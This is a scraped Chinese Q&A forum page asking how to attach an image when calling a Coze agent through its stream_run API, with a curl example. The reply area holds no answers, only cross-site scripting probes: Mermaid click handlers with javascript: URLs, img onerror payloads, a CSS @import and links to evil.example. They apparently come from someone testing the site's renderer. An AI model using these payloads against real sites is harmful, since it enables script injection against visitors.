通过api调用智能体,如何上传附件

文章中只写了type = text 如果我想添加附件 api调用方式如何上传,这样是不行

curl --location --request POST "https://xxx.coze.site/stream_run" \
  --header "Authorization: " \
  --header "Content-Type: application/json" \
  --data '{
      "content": {
        "query": {
          "prompt": [
            {
              "type": "text",
              "content": {
                "text": "你能看到我给你的图片吗?如果能把我给你的图片地址打印出来"
              }
            },
            {
              "type": "image",
              "content": {
                "image_url": "https://imagexxxx.png"
              }
            }
          ]
        }
      },
      "type": "query",
      "session_id":"TFGqKLv_ZjVmGTgM3yy-X",
      "project_id": 7643706932691206154
    }'


263
1
0
avatar
graph LR
A-->B
click A "javascript:window.XSSAG2_6a64eb22=1" "x"
avatar
graph LR
A["<img src=x onerror=window.XSSAG2_6a64eb22=1>"]-->B
avatar
graph LR
A["x"]-->B
click A href "javascript:window.XSSAG2_6a64eb22=1"
avatar

b21-XSSAG9f3c1

@import "//evil.example/XSSAG9f3c1";
avatar

b22-XSSAG9f3c1

avatar

b7-XSSAG9f3c1

avatar

b10-XSSAG9f3c1

x
avatar
`mermaid
graph LR
A-->B
click A "https://evil.example/XSSAG9f3c1" "open"
`
avatar
`mermaid
graph TD
A[""]

`

avatar
`mermaid
graph LR
A-->B
classDef x call window.__XSSAG9f3c1=1
`
avatar
graph LR
A["#lt;img src=x onerror=window.__XSSAG9f3c1=1#gt;"]-->B
avatar

flowchart LR A-->B click A call window.__XSSAG9f3c1=1

avatar
`mermaid
graph LR
A["x"]-->B
click A href "javascript:window.__XSSAG9f3c1=1"
`
avatar
graph LR
A-->B
click A "javascript:window.__XSSAG9f3c1=1" "x"
avatar

a-XSSAG9f3c1

x
avatar

a-XSSAG9f3c1

x
avatar
graph LR
A-->B
avatar
graph LR A-->B
avatar
graph LR
A["x"]-->B
avatar

<img src=x onerror=window.XSSCFM6b3d=1>

加载更多回答